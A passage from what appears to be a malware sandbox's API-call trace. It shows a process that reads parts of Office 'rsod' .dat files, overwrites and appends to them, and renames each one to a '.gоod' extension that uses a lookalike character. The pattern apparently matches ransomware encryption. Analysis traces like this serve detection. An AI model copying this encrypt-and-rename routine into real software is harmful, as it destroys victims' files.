(dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0145.530] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groovemui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\groovemui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x50 [0145.530] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0145.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groovemui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\groovemui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0145.530] GetFileType (hFile=0x7dc) returned 0x1 [0145.530] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0145.530] GetFileType (hFile=0x7dc) returned 0x1 [0145.530] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0145.530] ReadFile (in: hFile=0x7dc, lpBuffer=0x3646bd0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x3646bd0*, lpNumberOfBytesRead=0x1fcee2d8*=0x27a, lpOverlapped=0x0) returned 1 [0146.087] CloseHandle (hObject=0x7dc) returned 1 [0146.087] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groovemui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\groovemui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x50 [0146.087] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0146.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groovemui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\groovemui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0146.088] GetFileType (hFile=0x7dc) returned 0x1 [0146.088] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0146.088] GetFileType (hFile=0x7dc) returned 0x1 [0146.088] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x127a [0146.088] WriteFile (in: hFile=0x7dc, lpBuffer=0x36b9ed8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x36b9ed8*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0146.088] CloseHandle (hObject=0x7dc) returned 1 [0146.088] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groovemui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\groovemui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x50 [0146.088] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0146.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groovemui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\groovemui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0146.088] GetFileType (hFile=0x7dc) returned 0x1 [0146.088] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0146.088] GetFileType (hFile=0x7dc) returned 0x1 [0146.088] ReadFile (in: hFile=0x7dc, lpBuffer=0x36bc1e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x36bc1e0*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0146.115] CloseHandle (hObject=0x7dc) returned 1 [0146.115] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groovemui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\groovemui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x50 [0146.116] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0146.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groovemui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\groovemui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0146.116] GetFileType (hFile=0x7dc) returned 0x1 [0146.116] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0146.116] GetFileType (hFile=0x7dc) returned 0x1 [0146.116] WriteFile (in: hFile=0x7dc, lpBuffer=0x36baef0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x36baef0*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0146.116] CloseHandle (hObject=0x7dc) returned 1 [0146.116] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groovemui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\groovemui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x50 [0146.116] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groovemui.msi.16.en-us.boot.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\groovemui.msi.16.en-us.boot.tree.dat.gоod", lpFilePart=0x0) returned 0x55 [0146.116] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0146.116] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groovemui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\groovemui.msi.16.en-us.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x534d479f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x128a)) returned 1 [0146.116] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0146.116] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groovemui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\groovemui.msi.16.en-us.boot.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groovemui.msi.16.en-us.boot.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\groovemui.msi.16.en-us.boot.tree.dat.gоod")) returned 1 [0146.117] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groovemui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\groovemui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4b [0146.117] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0146.117] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groovemui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\groovemui.msi.16.en-us.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x373afd8 | out: lpFileInformation=0x373afd8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd03a857f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd03a857f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd04b3616, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x179f)) returned 1 [0146.118] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0146.118] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groovemui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\groovemui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4b [0146.118] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0146.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groovemui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\groovemui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0146.118] GetFileType (hFile=0x7dc) returned 0x1 [0146.118] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0146.118] GetFileType (hFile=0x7dc) returned 0x1 [0146.118] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0146.118] ReadFile (in: hFile=0x7dc, lpBuffer=0x373b440, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x373b440*, lpNumberOfBytesRead=0x1fcee2d8*=0x79f, lpOverlapped=0x0) returned 1 [0146.120] CloseHandle (hObject=0x7dc) returned 1 [0146.120] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groovemui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\groovemui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4b [0146.120] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0146.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groovemui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\groovemui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0146.120] GetFileType (hFile=0x7dc) returned 0x1 [0146.120] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0146.120] GetFileType (hFile=0x7dc) returned 0x1 [0146.121] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x179f [0146.121] WriteFile (in: hFile=0x7dc, lpBuffer=0x373c760*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x373c760*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0146.121] CloseHandle (hObject=0x7dc) returned 1 [0146.121] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groovemui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\groovemui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4b [0146.121] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0146.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groovemui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\groovemui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0146.121] GetFileType (hFile=0x7dc) returned 0x1 [0146.121] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0146.121] GetFileType (hFile=0x7dc) returned 0x1 [0146.121] ReadFile (in: hFile=0x7dc, lpBuffer=0x373ea48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x373ea48*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0146.336] CloseHandle (hObject=0x7dc) returned 1 [0146.336] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groovemui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\groovemui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4b [0146.336] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0146.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groovemui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\groovemui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0146.336] GetFileType (hFile=0x7dc) returned 0x1 [0146.336] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0146.336] GetFileType (hFile=0x7dc) returned 0x1 [0146.336] WriteFile (in: hFile=0x7dc, lpBuffer=0x3660b40*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x3660b40*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0146.337] CloseHandle (hObject=0x7dc) returned 1 [0146.337] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groovemui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\groovemui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4b [0146.337] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groovemui.msi.16.en-us.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\groovemui.msi.16.en-us.tree.dat.gоod", lpFilePart=0x0) returned 0x50 [0146.337] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0146.337] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groovemui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\groovemui.msi.16.en-us.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd03a857f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd03a857f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x536ea96a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x17af)) returned 1 [0146.337] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0146.337] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groovemui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\groovemui.msi.16.en-us.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groovemui.msi.16.en-us.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\groovemui.msi.16.en-us.tree.dat.gоod")) returned 1 [0146.338] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lync.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\lync.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x53 [0146.338] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0146.338] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lync.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\lync.x-none.msi.16.x-none.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x3749058 | out: lpFileInformation=0x3749058*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x40ee9)) returned 1 [0146.339] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0146.339] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lync.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\lync.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x53 [0146.339] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0146.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lync.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\lync.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0146.339] GetFileType (hFile=0x7dc) returned 0x1 [0146.339] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0146.339] GetFileType (hFile=0x7dc) returned 0x1 [0146.339] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0146.339] ReadFile (in: hFile=0x7dc, lpBuffer=0x3749500, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x3749500*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0146.384] CloseHandle (hObject=0x7dc) returned 1 [0146.384] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lync.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\lync.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x53 [0146.384] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0146.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lync.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\lync.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0146.384] GetFileType (hFile=0x7dc) returned 0x1 [0146.384] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0146.384] GetFileType (hFile=0x7dc) returned 0x1 [0146.385] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x40ee9 [0146.385] WriteFile (in: hFile=0x7dc, lpBuffer=0x37d0238*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x37d0238*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0146.386] CloseHandle (hObject=0x7dc) returned 1 [0146.386] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lync.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\lync.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x53 [0146.386] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0146.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lync.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\lync.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0146.387] GetFileType (hFile=0x7dc) returned 0x1 [0146.387] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0146.387] GetFileType (hFile=0x7dc) returned 0x1 [0146.387] ReadFile (in: hFile=0x7dc, lpBuffer=0x37d3d40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x37d3d40*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0147.843] CloseHandle (hObject=0x7dc) returned 1 [0147.844] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lync.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\lync.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x53 [0147.844] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0147.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lync.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\lync.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0147.844] GetFileType (hFile=0x7dc) returned 0x1 [0147.844] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0147.844] GetFileType (hFile=0x7dc) returned 0x1 [0147.844] WriteFile (in: hFile=0x7dc, lpBuffer=0x3694c78*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x3694c78*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0147.844] CloseHandle (hObject=0x7dc) returned 1 [0147.844] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lync.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\lync.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x53 [0147.844] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lync.x-none.msi.16.x-none.boot.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\lync.x-none.msi.16.x-none.boot.tree.dat.gоod", lpFilePart=0x0) returned 0x58 [0147.844] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0147.844] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lync.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\lync.x-none.msi.16.x-none.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5455ecfd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x40ef9)) returned 1 [0147.845] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0147.845] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lync.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\lync.x-none.msi.16.x-none.boot.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lync.x-none.msi.16.x-none.boot.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\lync.x-none.msi.16.x-none.boot.tree.dat.gоod")) returned 1 [0147.847] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lync.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\lync.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x4e [0147.847] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0147.847] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lync.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\lync.x-none.msi.16.x-none.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x37e3bb8 | out: lpFileInformation=0x37e3bb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcf2391cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcf2391cd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcf8c794a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6af1e)) returned 1 [0147.848] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0147.848] 